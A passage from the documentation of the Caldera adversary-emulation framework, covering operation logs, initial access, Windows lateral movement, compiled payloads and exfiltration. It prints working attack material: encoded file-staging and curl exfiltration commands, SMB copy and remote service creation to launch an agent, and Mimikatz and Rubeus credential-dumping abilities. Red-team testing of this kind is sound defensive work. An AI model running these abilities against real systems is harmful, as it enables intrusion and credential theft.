"description": "copy files to staging directory",
"executor": "sh",
"link_id": "4a55c2c9-eb9d-4e31-b2b6-8bb4b4ab2950",
"name": "Stage sensitive files",
"output": {
"stdout": "",
"stderr": "cp: /Users/foo/bar/PyTorch\\ Models/myModel.pt: No such file or␣
˓→directory",

"exit_code": "1"
},
"pid": 57005,
"platform": "darwin",
"run": "2022-05-11T22:10:55Z",
"status": 1
},
{
"ability_id": "4e97e699-93d7-4040-b5a3-2e906a58199e",
"agent_reported_time": "2022-05-11T22:11:34Z",
"attack": {
"tactic": "collection",
"technique_id": "T1074.001",
"technique_name": "Data Staged: Local Data Staging"
},
"command":
˓→"Y3AgIi9Vc2Vycy9jamVsbGVuL29wdC9hbmFjb25kYTMvZW52cy9mYWlyL2xpYi9weXRob24zLjgvc2l0ZS1wYWNrYWdlcy9zYWNyZ

˓→",

"delegated": "2022-05-11T22:10:57Z",
"description": "copy files to staging directory",
"executor": "sh",
"link_id": "a5ef6774-6eed-4383-a769-420092e1ba27",
(continues on next page)

58 Chapter 11. Operation Results


caldera

(continued from previous page)


"name": "Stage sensitive files",
"pid": 57105,
"platform": "darwin",
"run": "2022-05-11T22:11:34Z",
"status": 0
},
{
"ability_id": "4e97e699-93d7-4040-b5a3-2e906a58199e",
"agent_reported_time": "2022-05-11T22:12:22Z",
"attack": {
"tactic": "collection",
"technique_id": "T1074.001",
"technique_name": "Data Staged: Local Data Staging"
},
"command":
˓→"Y3AgIi9Vc2Vycy9jamVsbGVuL29wdC9hbmFjb25kYTMvbGliL3B5dGhvbjMuOC9zaXRlLXBhY2thZ2VzL3NhY3JlbW9zZXMvZGF0Y

˓→",

"delegated": "2022-05-11T22:11:37Z",
"description": "copy files to staging directory",
"executor": "sh",
"link_id": "b2ba877c-2501-4abc-89a0-aeada909f52b",
"name": "Stage sensitive files",
"pid": 57294,
"platform": "darwin",
"run": "2022-05-11T22:12:22Z",
"status": 0
},
{
"ability_id": "300157e5-f4ad-4569-b533-9d1fa0e74d74",
"agent_reported_time": "2022-05-11T22:13:02Z",
"attack": {
"tactic": "exfiltration",
"technique_id": "T1560.001",
"technique_name": "Archive Collected Data: Archive via Utility"
},
"command":
˓→"dGFyIC1QIC16Y2YgL1VzZXJzL2NqZWxsZW4vc3RhZ2VkLnRhci5neiAvVXNlcnMvY2plbGxlbi9zdGFnZWQgJiYgZWNobyAvVXNlc

˓→",

"delegated": "2022-05-11T22:12:27Z",
"description": "Compress a directory on the file system",
"executor": "sh",
"link_id": "795b4b12-1355-49ea-96e8-f6d3d045334d",
"name": "Compress staged directory",
"output": {
"stdout": "/Users/foo/staged.tar.gz",
"stderr": "",
"exit_code": "0"
},
"pid": 57383,
"platform": "darwin",
"run": "2022-05-11T22:13:02Z",
"status": 0
(continues on next page)

11.1. Operation Report 59


caldera

(continued from previous page)


},
{
"ability_id": "ea713bc4-63f0-491c-9a6f-0b01d560b87e",
"agent_reported_time": "2022-05-11T22:14:02Z",
"attack": {
"tactic": "exfiltration",
"technique_id": "T1041",
"technique_name": "Exfiltration Over C2 Channel"
},
"command":
˓→"Y3VybCAtRiAiZGF0YT1AL1VzZXJzL2NqZWxsZW4vc3RhZ2VkLnRhci5neiIgLS1oZWFkZXIgIlgtUmVxdWVzdC1JRDogYGhvc3RuY

˓→",

"delegated": "2022-05-11T22:13:07Z",
"description": "Exfil the staged directory",
"executor": "sh",
"link_id": "bda3e573-d751-420b-8740-d4a36cee1f9d",
"name": "Exfil staged directory",
"output": {
"stdout": " % Total % Received % Xferd Average Speed Time Time ␣
˓→Time Current Dload Upload Total Spent Left ␣
˓→Speed\r 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0\
˓→r100 1357 0 0 100 1357 0 441k --:--:-- --:--:-- --:--:-- 441k",
"stderr": "",
"exit_code": "0"
},
"pid": 57568,
"platform": "darwin",
"run": "2022-05-11T22:14:02Z",
"status": 0
},
{
"ability_id": "300157e5-f4ad-4569-b533-9d1fa0e74d74",
"agent_reported_time": "2022-05-11T22:15:01Z",
"attack": {
"tactic": "exfiltration",
"technique_id": "T1560.001",
"technique_name": "Archive Collected Data: Archive via Utility"
},
"command": "cm0gL1VzZXJzL2NqZWxsZW4vc3RhZ2VkLnRhci5neg==",
"delegated": "2022-05-11T22:14:07Z",
"description": "Compress a directory on the file system",
"executor": "sh",
"link_id": "e58dc3e6-b3a2-4657-aba0-f2f719a35041",
"name": "Compress staged directory",
"pid": 57769,
"platform": "darwin",
"run": "2022-05-11T22:15:01Z",
"status": 0
},
{
"ability_id": "6469befa-748a-4b9c-a96d-f191fde47d89",
"agent_reported_time": "2022-05-11T22:15:03Z",
(continues on next page)

60 Chapter 11. Operation Results


caldera

(continued from previous page)


"attack": {
"tactic": "collection",
"technique_id": "T1074.001",
"technique_name": "Data Staged: Local Data Staging"
},
"command": "cm0gLXJmIHN0YWdlZA==",
"delegated": "2022-05-11T22:14:07Z",
"description": "create a directory for exfil staging",
"executor": "sh",
"link_id": "cdd17a43-2e06-4be4-b361-c3291cdb3f6a",
"name": "Create staging directory",
"pid": 57773,
"platform": "darwin",
"run": "2022-05-11T22:15:03Z",
"status": 0
}
]
}
}
}

11.2 Operation Event Logs

The operation event logs JSON file can be downloaded via the Download event logs button on the operations modal
after selecting an operation from the drop-down menu. To include command output, users should select the include
agent output option. Operation event logs will also be automatically written to disk when an operation completes -
see the section on automatic event log generation.
The event logs JSON is a list of dictionary objects, where each dictionary represents an event that occurred during the
operation (i.e. each link/command). Users can think of this as a “flattened” version of the operation steps displayed
in the traditional report JSON format. However, not all of the operation or agent metadata from the operation report
is included in the operation event logs. The event logs do not include operation facts, nor do they include operation
links/commands that were skipped either manually or because certain requirements were not met (e.g. missing facts or
insufficient privileges). The event log JSON format makes it more convenient to import into databases or SIEM tools.
The event dictionary has the following keys and values:
• command: base64-encoded command that was executed
• delegated_timestamp: Timestamp string in YYYY-MM-DD HH:MM:SS format that indicates when the op-
eration made the link available for collection
• collected_timestamp: Timestamp in YYYY-MM-DD HH:MM:SS format that indicates when the agent col-
lected the link available for collection
• finished_timestamp: Timestamp in YYYY-MM-DD HH:MM:SS format that indicates when the agent sub-
mitted the link execution results to the C2 server.
• status: link execution status
• platform: target platform for the agent running the link (e.g. “windows”)
• executor: executor used to run the link command (e.g. “psh” for powershell)
• pid: process ID for the link

11.2. Operation Event Logs 61


caldera

• agent_metadata: dictionary containing the following information for the agent that ran the link:
– paw
– group
– architecture
– username
– location
– pid
– ppid
– privilege
– host
– contact
– created
• ability_metadata: dictionary containing the following information about the link ability:
– ability_id
– ability_name
– ability_description
• operation_metadata: dictionary containing the following information about the operation that generated the
link event:
– operation_name
– operation_start: operation start time in YYYY-MM-DD HH:MM:SS format
– operation_adversary: name of the adversary used in the operation
• attack_metadata: dictionary containing the following ATT&CK information for the ability associated with
the link:
– tactic
– technique_id
– technique_name
• output: if the user selected include agent output when downloading the operation event logs, this field
will contain a dictionary of the agent-provided output from running the link command.
– stdout
– stderr
– exit_code
• agent_reported_time: Timestamp string representing the time at which the execution was ran by the agent
in YYYY-MM-DD HH:MM:SS format. This field will not be present if the agent does not support reporting the
command execution time.
Below is a sample output for operation event logs:

62 Chapter 11. Operation Results


caldera

11.2.1 Sample Event Logs

[
{
"command":
˓→"R2V0LUNoaWxkSXRlbSBDOlxVc2VycyAtUmVjdXJzZSAtSW5jbHVkZSAqLnBuZyAtRXJyb3JBY3Rpb24gJ1NpbGVudGx5Q29udGlud
˓→",

"delegated_timestamp": "2021-02-23T11:50:12Z",
"collected_timestamp": "2021-02-23T11:50:14Z",
"finished_timestamp": "2021-02-23T11:50:14Z",
"status": 0,
"platform": "windows",
"executor": "psh",
"pid": 7016,
"agent_metadata": {
"paw": "pertbn",
"group": "red",
"architecture": "amd64",
"username": "BYZANTIUM\\Carlomagno",
"location": "C:\\Users\\Public\\sandcat.exe",
"pid": 5896,
"ppid": 2624,
"privilege": "Elevated",
"host": "WORKSTATION1",
"contact": "HTTP",
"created": "2021-02-23T11:48:33Z"
},
"ability_metadata": {
"ability_id": "90c2efaa-8205-480d-8bb6-61d90dbaf81b",
"ability_name": "Find files",
"ability_description": "Locate files deemed sensitive"
},
"operation_metadata": {
"operation_name": "My Operation",
"operation_start": "2021-02-23T11:50:12Z",
"operation_adversary": "Collection"
},
"attack_metadata": {
"tactic": "collection",
"technique_name": "Data from Local System",
"technique_id": "T1005"
},
"agent_reported_time": "2021-02-23T11:50:13Z"
},
{
"command":
˓→"R2V0LUNoaWxkSXRlbSBDOlxVc2VycyAtUmVjdXJzZSAtSW5jbHVkZSAqLnltbCAtRXJyb3JBY3Rpb24gJ1NpbGVudGx5Q29udGlud

˓→",

"delegated_timestamp": "2021-02-23T11:50:17Z",
"collected_timestamp": "2021-02-23T11:50:21Z",
"finished_timestamp": "2021-02-23T11:50:21Z",
"status": 0,
"platform": "windows",
(continues on next page)

11.2. Operation Event Logs 63


caldera

(continued from previous page)


"executor": "psh",
"pid": 1048,
"agent_metadata": {
"paw": "pertbn",
"group": "red",
"architecture": "amd64",
"username": "BYZANTIUM\\Carlomagno",
"location": "C:\\Users\\Public\\sandcat.exe",
"pid": 5896,
"ppid": 2624,
"privilege": "Elevated",
"host": "WORKSTATION1",
"contact": "HTTP",
"created": "2021-02-23T11:48:33Z"
},
"ability_metadata": {
"ability_id": "90c2efaa-8205-480d-8bb6-61d90dbaf81b",
"ability_name": "Find files",
"ability_description": "Locate files deemed sensitive"
},
"operation_metadata": {
"operation_name": "My Operation",
"operation_start": "2021-02-23T11:50:12Z",
"operation_adversary": "Collection"
},
"attack_metadata": {
"tactic": "collection",
"technique_name": "Data from Local System",
"technique_id": "T1005"
},
"agent_reported_time": "2021-02-23T11:50:18Z"
},
{
"command":
˓→"R2V0LUNoaWxkSXRlbSBDOlxVc2VycyAtUmVjdXJzZSAtSW5jbHVkZSAqLndhdiAtRXJyb3JBY3Rpb24gJ1NpbGVudGx5Q29udGlud

˓→",

"delegated_timestamp": "2021-02-23T11:50:22Z",
"collected_timestamp": "2021-02-23T11:50:27Z",
"finished_timestamp": "2021-02-23T11:50:27Z",
"status": 0,
"platform": "windows",
"executor": "psh",
"pid": 5964,
"agent_metadata": {
"paw": "pertbn",
"group": "red",
"architecture": "amd64",
"username": "BYZANTIUM\\Carlomagno",
"location": "C:\\Users\\Public\\sandcat.exe",
"pid": 5896,
"ppid": 2624,
"privilege": "Elevated",
(continues on next page)

64 Chapter 11. Operation Results


caldera

(continued from previous page)


"host": "WORKSTATION1",
"contact": "HTTP",
"created": "2021-02-23T11:48:33Z"
},
"ability_metadata": {
"ability_id": "90c2efaa-8205-480d-8bb6-61d90dbaf81b",
"ability_name": "Find files",
"ability_description": "Locate files deemed sensitive"
},
"operation_metadata": {
"operation_name": "My Operation",
"operation_start": "2021-02-23T11:50:12Z",
"operation_adversary": "Collection"
},
"attack_metadata": {
"tactic": "collection",
"technique_name": "Data from Local System",
"technique_id": "T1005"
},
"agent_reported_time": "2021-02-23T11:50:25Z"
},
{
"command":
˓→"TmV3LUl0ZW0gLVBhdGggIi4iIC1OYW1lICJzdGFnZWQiIC1JdGVtVHlwZSAiZGlyZWN0b3J5IiAtRm9yY2UgfCBmb3JlYWNoIHskX

˓→",

"delegated_timestamp": "2021-02-23T11:50:32Z",
"collected_timestamp": "2021-02-23T11:50:37Z",
"finished_timestamp": "2021-02-23T11:50:37Z",
"status": 0,
"platform": "windows",
"executor": "psh",
"pid": 3212,
"agent_metadata": {
"paw": "pertbn",
"group": "red",
"architecture": "amd64",
"username": "BYZANTIUM\\Carlomagno",
"location": "C:\\Users\\Public\\sandcat.exe",
"pid": 5896,
"ppid": 2624,
"privilege": "Elevated",
"host": "WORKSTATION1",
"contact": "HTTP",
"created": "2021-02-23T11:48:33Z"
},
"ability_metadata": {
"ability_id": "6469befa-748a-4b9c-a96d-f191fde47d89",
"ability_name": "Create staging directory",
"ability_description": "create a directory for exfil staging"
},
"operation_metadata": {
"operation_name": "My Operation",
(continues on next page)

11.2. Operation Event Logs 65


caldera

(continued from previous page)


"operation_start": "2021-02-23T11:50:12Z",
"operation_adversary": "Collection"
},
"attack_metadata": {
"tactic": "collection",
"technique_name": "Data Staged: Local Data Staging",
"technique_id": "T1074.001"
},
"output": {
"stdout": "C:\\Users\\carlomagno\\staged",
"stderr": "",
"exit_code": "0"
},
"agent_reported_time": "2021-02-23T11:50:33Z"
},
{
"command": "UmVtb3ZlLUl0ZW0gLVBhdGggInN0YWdlZCIgLXJlY3Vyc2U=",
"delegated_timestamp": "2021-02-23T11:50:42Z",
"collected_timestamp": "2021-02-23T11:50:44Z",
"finished_timestamp": "2021-02-23T11:50:44Z",
"status": 0,
"platform": "windows",
"executor": "psh",
"pid": 6184,
"agent_metadata": {
"paw": "pertbn",
"group": "red",
"architecture": "amd64",
"username": "BYZANTIUM\\Carlomagno",
"location": "C:\\Users\\Public\\sandcat.exe",
"pid": 5896,
"ppid": 2624,
"privilege": "Elevated",
"host": "WORKSTATION1",
"contact": "HTTP",
"created": "2021-02-23T11:48:33Z"
},
"ability_metadata": {
"ability_id": "6469befa-748a-4b9c-a96d-f191fde47d89",
"ability_name": "Create staging directory",
"ability_description": "create a directory for exfil staging"
},
"operation_metadata": {
"operation_name": "My Operation",
"operation_start": "2021-02-23T11:50:12Z",
"operation_adversary": "Collection"
},
"attack_metadata": {
"tactic": "collection",
"technique_name": "Data Staged: Local Data Staging",
"technique_id": "T1074.001"
},
(continues on next page)

66 Chapter 11. Operation Results


caldera

(continued from previous page)


"agent_reported_time": "2021-02-23T11:50:43Z"
}
]

11.2.2 Automatic Event Log Generation

When an operation terminates, the corresponding event logs will be written to disk in the same format as if they were
manually requested for download. These event logs will contain command output and will be unencrypted on disk.
Each operation will have its own event logs written to a separate file in the directory $reports_dir/event_logs,
where $reports_dir is the reports_dir entry in the Caldera configuration file. The filename will be of the format
operation_$id.json, where $id is the unique ID of the operation.

11.2. Operation Event Logs 67


caldera

68 Chapter 11. Operation Results


CHAPTER

TWELVE

INITIAL ACCESS ATTACKS

Caldera allows for easy initial access attacks, by leveraging the Access plugin. This guide will walk you through how
to fire off an initial access attack, as well as how to build your own.

12.1 Run an initial access technique

Start by deploying an agent locally. This agent will be your “assistant”. It will execute any attack you feed it. You could
alternatively deploy the agent remotely, which will help mask where your initial access attacks are originating.
From the Access plugin, select your agent and either the initial access tactic or any pre-ATT&CK tactic. This will filter
the abilities. Select any ability within your chosen tactic.
Once selected, a pop-up box will show you details about the ability. You’ll need to fill in values for any properties your
selected ability requires. Click OK when done.
Finally, click to run the ability against your selected agent. The ability will be in one of 3 states: IN-PROGRESS,
SUCCESS or FAILED. If it is in either of the latter two states, you can view the logs from the executed ability by
clicking on the star.

12.2 Write an initial access ability

You can easily add new initial access or pre-ATT&CK abilities yourself.

12.2.1 Create a binary

You can use an existing binary or write your own - in any language - to act as your payload. The binary itself should
contain the code to execute your attack. It can be as simple or complex as you’d like. It should accept parameters for
any dynamic behaviors. At minimum, you should require a parameter for “target”, which would be your intended IP
address, FQDN or other target that your attack will run against.
As an example, look at the scanner.sh binary used for conducting a simple NMAP scan:

#!/bin/bash

echo '[+] Starting basic NMAP scan'


nmap -Pn $1
echo '[+] Complete with module'

This binary simply echos a few log statements and runs an NMAP scan against the first parameter (i.e., the target)
passed to it.

69
caldera

12.2.2 Create an ability

With your binary at hand, you can now create a new ability YML file inside the Access plugin (plug-
ins/access/data/abilities/*). Select the correct tactic directory (or create one if one does not exist). Here is what the
YML file looks like for the scanner.sh binary:

---
- id: 567eaaba-94cc-4a27-83f8-768e5638f4e1
name: NMAP scan
description: Scan an external host for open ports and services
tactic: technical-information-gathering
technique:
name: Conduct active scanning
attack_id: T1254
platforms:
darwin,linux:
sh:
command: |
./scanner.sh #{target.ip}
timeout: 300
payloads:
- scanner.sh

This is the same format that is used for other Caldera abilities, so refer to the Learning the terminology page for a
run-through of all the fields.

12.2.3 Run the ability

With your ability YML file loaded, restart Caldera and head to the Access plugin to run it.

70 Chapter 12. Initial Access Attacks


CHAPTER

THIRTEEN

WINDOWS LATERAL MOVEMENT GUIDE

Exercising Caldera’s lateral movement and remote execution abilities allows you to test how easily an adversary can
move within your network. This guide will walk you through some of the necessary setup steps to get started with
testing lateral movement in a Windows environment.

13.1 Setup

13.1.1 Firewall Exceptions and Enabling File and Printer Sharing

The firewall of the target host should not be blocking UDP ports 137 and 138 and TCP ports 139 and 445. The firewall
should also allow inbound file and printer sharing.

netsh advfirewall firewall set rule group="File and Printer Sharing" new enable=Yes

13.1.2 User with Administrative Privileges

This guide will assume a user with administrative privileges to the target host has been compromised and that a Caldera
agent has been spawned with this user’s privileges. Some methods of lateral movement may depend on whether (1)
the user has administrative privileges but is not a domain account or (2) the user has administrative privileges and is a
domain account. The example walkthrough in this guide should not be impacted by these distinctions.

13.1.3 Additional Considerations

1. Ensure GPO/SRP or antivirus is not blocking remote access to shares.


2. Ensure at least ADMIN$, C$, and IPC$ shares exist on the target host.

13.2 Lateral Movement Using Caldera

Lateral movement can be a combination of two steps. The first requires confirmation of remote access to the next target
host and the movement or upload of the remote access tool (RAT) executable to the host. The second part requires
execution of the binary, which upon callback of the RAT on the new host would complete the lateral movement.
Most of Caldera’s lateral movement and execution abilities found in Stockpile have fact or relationship requirements
that must be satisfied. This information may be passed to the operation in two ways:

71
caldera

1. The fact and relationship information may be added to an operation’s source. A new source can be created or
this information can be added to an already existing source as long as that source is used by the operation. When
configuring an operation, open the “AUTONOMOUS” drop down section and select “Use [insert source name]
facts” to indicate to the operation that it should take in fact and relationship information from the selected source.
2. The fact and relationship information can be discovered by an operation. This requires additional abilities to be
run prior to the lateral movement and execution abilities to collect the necessary fact and relationship information
necessary to satisfy the ability requirements.

13.2.1 Moving the Binary

There are several ways a binary can be moved or uploaded from one host to another. Some example methods used in
Caldera’s lateral movement abilities include:
1. WinRM
2. SCP
3. wmic
4. SMB
5. psexec
Based on the tool used, additional permissions may need to be changed in order for users to conduct these actions
remotely.

13.2.2 Execution of the Binary

Caldera’s Stockpile execution abilities relevant to lateral movement mainly use wmic to remotely start the binary.
Some additional execution methods include modifications to Windows services and scheduled tasks. The example in
this guide will use the creation of a service to remotely start the binary (ability file included at the end of this guide).
See ATT&CK’s Execution tactic page for more details on execution methods.

13.2.3 Displaying Lateral Movement in Debrief

Using the adversary profile in this guide and Caldera’s Debrief plugin, you can view the path an adversary took through
the network via lateral movement attempts. In the Debrief modal, select the operation where lateral movement was
attempted then select the Attack Path view from the upper right hand corner of graph views. This graph displays the
originating C2 server and agent nodes connected by the execution command linking the originating agent to the newly
spawned agent.
In the example attack path graph below, the Service Creation Lateral Movement adversary profile was run on the win10
host, which moved laterally to the VAGRANTDC machine via successful execution of the Service Creation ability.

72 Chapter 13. Windows Lateral Movement Guide


caldera

This capability relies on the origin_link_id field to be populated within the agent profile upon first check-in and
is currently implemented for the default agent, Sandcat. For more information about the #{origin_link_id} global
variable, see the explanation of Command in the Abilities section of the Basic Usage guide. For more information
about how lateral movement tracking is implemented in agents to be used with Caldera, see the Lateral Movement
Tracking section of the How to Build Agents guide.

13.3 Example Lateral Movement Profile

This section will walkthrough the necessary steps for proper execution of the Service Creation Lateral Movement
adversary profile. This section will assume successful setup from the previous sections mentioned in this guide and
that a Sandcat agent has been spawned with administrative privileges to the remote target host. The full ability files
used in this adversary profile are included at the end of this guide.
1. Go to navigate pane > Advanced > sources. This should open a new sources modal in the web GUI.
2. Click the toggle to create a new source. Enter “SC Source” as the source name. Then enter remote.host.fqdn
as the fact name and the FQDN of the target host you are looking to move laterally to as the fact value. Click
Save once source configuration has been completed.
3. Go to navigate pane > Campaigns > operations. Click the toggle to create a new operation. Under BASIC
OPTIONS select the group with the relevant agent and the Service Creation Lateral Movement profile. Under
AUTONOMOUS, select Use SC Source facts. If the source created from the previous step is not available in the
drop down, try refreshing the page.
4. Once operation configurations have been completed, click Start to start the operation.
5. Check the agents list for a new agent on the target host.

13.3. Example Lateral Movement Profile 73


caldera

13.3.1 Ability Files Used

- id: deeac480-5c2a-42b5-90bb-41675ee53c7e
name: View remote shares
description: View the shares of a remote host
tactic: discovery
technique:
attack_id: T1135
name: Network Share Discovery
platforms:
windows:
psh:
command: net view \\#{remote.host.fqdn} /all
parsers:
plugins.stockpile.app.parsers.net_view:
- source: remote.host.fqdn
edge: has_share
target: remote.host.share
cmd:
command: net view \\#{remote.host.fqdn} /all
parsers:
plugins.stockpile.app.parsers.net_view:
- source: remote.host.fqdn
edge: has_share
target: remote.host.share

- id: 65048ec1-f7ca-49d3-9410-10813e472b30
name: Copy Sandcat (SMB)
description: Copy Sandcat to remote host (SMB)
tactic: lateral-movement
technique:
attack_id: T1021.002
name: "Remote Services: SMB/Windows Admin Shares"
platforms:
windows:
psh:
command: |
$path = "sandcat.go-windows";
$drive = "\\#{remote.host.fqdn}\C$";
Copy-Item -v -Path $path -Destination $drive"\Users\Public\s4ndc4t.exe";
cleanup: |
$drive = "\\#{remote.host.fqdn}\C$";
Remove-Item -Path $drive"\Users\Public\s4ndc4t.exe" -Force;
parsers:
plugins.stockpile.app.parsers.54ndc47_remote_copy:
- source: remote.host.fqdn
edge: has_54ndc47_copy
payloads:
- sandcat.go-windows
requirements:
- plugins.stockpile.app.requirements.not_exists:
- source: remote.host.fqdn
edge: has_54ndc47_copy
(continues on next page)

74 Chapter 13. Windows Lateral Movement Guide


caldera

(continued from previous page)


- plugins.stockpile.app.requirements.basic:
- source: remote.host.fqdn
edge: has_share
- plugins.stockpile.app.requirements.no_backwards_movement:
- source: remote.host.fqdn

- id: 95727b87-175c-4a69-8c7a-a5d82746a753
name: Service Creation
description: Create a service named "sandsvc" to execute remote Sandcat binary named
˓→"s4ndc4t.exe"

tactic: execution
technique:
attack_id: T1569.002
name: 'System Services: Service Execution'
platforms:
windows:
psh:
timeout: 300
cleanup: |
sc.exe \\#{remote.host.fqdn} stop sandsvc;
sc.exe \\#{remote.host.fqdn} delete sandsvc /f;
taskkill /s \\#{remote.host.fqdn} /FI "Imagename eq s4ndc4t.exe"
command: |
sc.exe \\#{remote.host.fqdn} create sandsvc start= demand error= ignore␣
˓→binpath= "cmd /c start C:\Users\Public\s4ndc4t.exe -server #{server} -v -originLinkID #

˓→{origin_link_id}" displayname= "Sandcat Execution";

sc.exe \\#{remote.host.fqdn} start sandsvc;


Start-Sleep -s 15;
Get-Process -ComputerName #{remote.host.fqdn} s4ndc4t;

13.3. Example Lateral Movement Profile 75


caldera

76 Chapter 13. Windows Lateral Movement Guide


CHAPTER

FOURTEEN

DYNAMICALLY-COMPILED PAYLOADS

The Builder plugin can be used to create dynamically-compiled payloads. Currently, the plugin supports C#, C, C++,
and Golang.
Code is compiled in a Docker container. The resulting executable, along with any additional references, will be copied
to the remote machine and executed.
Details for the available languages are below:
• csharp: Compile C# executable using Mono
• cpp_windows_x64: Compile 64-bit Windows C++ executable using MXE/MinGW-w64
• cpp_windows_x86: Compile 64-bit Windows C++ executable using MXE/MinGW-w64
• c_windows_x64: Compile 64-bit Windows C executable using MXE/MinGW-w64
• c_windows_x86: Compile 64-bit Windows C executable using MXE/MinGW-w64
• go_windows: Build Golang executable for Windows

14.1 Basic Example

The following “Hello World” ability can be used as a template for C# ability development:

---

- id: 096a4e60-e761-4c16-891a-3dc4eff02e74
name: Test C# Hello World
description: Dynamically compile HelloWorld.exe
tactic: execution
technique:
attack_id: T1059
name: Command-Line Interface
platforms:
windows:
psh,cmd:
build_target: HelloWorld.exe
language: csharp
code: |
using System;

namespace HelloWorld
{
(continues on next page)

77
caldera

(continued from previous page)


class Program
{
static void Main(string[] args)
{
Console.WriteLine("Hello World!");
}
}
}

It is possible to reference a source code file as well. The source code file should be in the plugin’s payloads/ directory.
This is shown in the example below:

---

- id: 096a4e60-e761-4c16-891a-3dc4eff02e74
name: Test C# Hello World
description: Dynamically compile HelloWorld.exe
tactic: execution
technique:
attack_id: T1059
name: Command-Line Interface
platforms:
windows:
psh,cmd:
build_target: HelloWorld.exe
language: csharp
code: HelloWorld.cs

14.2 Advanced Examples

14.2.1 Arguments

It is possible to call dynamically-compiled executables with command line arguments by setting the ability command
value. This allows for the passing of facts into the ability. The following example demonstrates this:

---

- id: ac6106b3-4a45-4b5f-bebf-0bef13ba7c81
name: Test C# Code with Arguments
description: Hello Name
tactic: execution
technique:
attack_id: T1059
name: Command-Line Interface
platforms:
windows:
psh,cmd:
build_target: HelloName.exe
command: .\HelloName.exe "#{paw}"
language: csharp
(continues on next page)

78 Chapter 14. Dynamically-Compiled Payloads


caldera

(continued from previous page)


code: |
using System;

namespace HelloWorld
{
class Program
{
static void Main(string[] args)
{
if (args.Length == 0) {
Console.WriteLine("No name provided");
}
else {
Console.WriteLine("Hello " + Convert.ToString(args[0]));
}
}
}
}

14.2.2 DLL Dependencies

DLL dependencies can be added, at both compilation and execution times, using the ability payload field. The refer-
enced library should be in a plugin’s payloads folder, the same as any other payload.
The following ability references SharpSploit.dll and dumps logon passwords using Mimikatz:

---

- id: 16bc2258-3b67-46c1-afb3-5269b6171c7e
name: SharpSploit Mimikatz (DLL Dependency)
description: SharpSploit Mimikatz
tactic: credential-access
technique:
attack_id: T1003
name: Credential Dumping
privilege: Elevated
platforms:
windows:
psh,cmd:
build_target: CredDump.exe
language: csharp
code: |
using System;
using System.IO;
using SharpSploit;

namespace CredDump
{
class Program
{
static void Main(string[] args)
(continues on next page)

14.2. Advanced Examples 79


caldera

(continued from previous page)


{
SharpSploit.Credentials.Mimikatz mimi = new SharpSploit.
˓→Credentials.Mimikatz();
string logonPasswords = SharpSploit.Credentials.Mimikatz.
˓→LogonPasswords();

Console.WriteLine(logonPasswords);
}
}
}
parsers:
plugins.stockpile.app.parsers.katz:
- source: domain.user.name
edge: has_password
target: domain.user.password
- source: domain.user.name
edge: has_hash
target: domain.user.ntlm
- source: domain.user.name
edge: has_hash
target: domain.user.sha1
payloads:
- SharpSploit.dll

14.2.3 Donut

The donut gocat extension is required to execute donut shellcode.


The donut_amd64 executor combined with a build_target value ending with .donut, can be used to generate
shellcode using donut. Payloads will first be dynamically-compiled into .NET executables using Builder, then converted
to donut shellcode by a Stockpile payload handler. The .donut file is downloaded to memory and injected into a new
process by the sandcat agent.
The command field can, optionally, be used to supply command line arguments to the payload. In order for the sandcat
agent to properly execute the payload, the command field must either begin with the .donut file name, or not exist.
The following example shows donut functionality using the optional command field to pass arguments:

---

- id: 7edeece0-9a0e-4fdc-a93d-86fe2ff8ad55
name: Test Donut with Arguments
description: Hello Name Donut
tactic: execution
technique:
attack_id: T1059
name: Command-Line Interface
platforms:
windows:
donut_amd64:
build_target: HelloNameDonut.donut
command: .\HelloNameDonut.donut "#{paw}" "#{server}"
language: csharp
(continues on next page)

80 Chapter 14. Dynamically-Compiled Payloads


caldera

(continued from previous page)


code: |
using System;

namespace HelloNameDonut
{
class Program
{
static void Main(string[] args)
{
if (args.Length < 2) {
Console.WriteLine("No name, no server");
}
else {
Console.WriteLine("Hello " + Convert.ToString(args[0]) + " from
˓→" + Convert.ToString(args[1]));

}
}
}
}

Donut can also be used to read from pre-compiled executables. .NET Framework 4 is required. Executables will be
found with either a .donut.exe or a .exe extension, and .donut.exe extensions will be prioritized. The following
example will transform a payload named Rubeus.donut.exe into shellcode which will be executed in memory. Note
that Rubeus.donut is specified in the payload and command:

---

- id: 043d6200-0541-41ee-bc7f-bcc6ba15facd
name: TGT Dump
description: Dump TGT tickets with Rubeus
tactic: credential-access
technique:
attack_id: T1558
name: Steal or Forge Kerberos Tickets
privilege: Elevated
platforms:
windows:
donut_amd64:
command: .\Rubeus.donut dump /nowrap
payloads:
- Rubeus.donut

14.2. Advanced Examples 81


caldera

82 Chapter 14. Dynamically-Compiled Payloads


CHAPTER

FIFTEEN

EXFILTRATION

After completing an operation a user may want to review the data retreived from the target system. This data is auto-
matically stored on the Caldera server in a directory specified in /conf/default.yml.

15.1 Exfiltrating Files

Some abilities will transfer files from the agent to the Caldera server. This can be done manually with

curl -X POST -F 'data=@/file/path/' http://server_ip:8888/file/upload

Note: localhost could be rejected in place of the server IP. In this case you will get error 7. You should type out the
full IP. These files are sent from the agent to server_ip/file/upload at which point the server places these files inside the
directory specified by /conf/default.yml to key “exfil_dir”. By default it is set to /tmp/caldera.

15.2 Accessing Exfiltrated Files

The server stores all exfiltrated files inside the directory specified by /conf/default.yml to key “exfil_dir”. By default it
is set to /tmp/caldera.
Files can be accessed by pulling them directly from that location when on the server and manually unencrypting the
files.
To simplify accessing exfiltrated files from a running caldera server, you can go the the advanced section in the Caldera
UI and click on the ‘exfilled files’ section.
From there you can select an operation (or all) from the drop down to see a listing of all the files in the exfil folder
corresponding to the operation (specifically works with sandcat agents or any other agent using the same naming scheme
for file upload folder) or in the directory along with the option to select any number of files to download directly to
your machine.
All downloaded files will be unencrypted before passing along as a download.

83
caldera

15.3 Accessing Operations Reports

After the server is shut down the reports from operations are placed inside the directory specified by the /conf/default.yml
to key “reports_dir”. By default it is also set to /tmp.

15.4 Unencrypting the files

The reports and exfiltrated files are encrypted on the server. To view the file contents the user will have to decrypt the
file using /app/utility/file_decryptor.py . This can be performed with:

python /app/utility/file_decryptor.py --config /conf/default.yml _input file path_

The output file will already have the _decrypted tag appended to the end of the file name once the decrypted file is
created by the python script.

84 Chapter 15. Exfiltration


CHAPTER

SIXTEEN

PEER-TO-PEER PROXY FUNCTIONALITY FOR SANDCAT AGENTS

In certain scenarios, an agent may start on a machine that can’t directly connect to the C2 server. For instance, agent
A may laterally move to a machine that is on an internal network and cannot beacon out to the C2. By giving agents
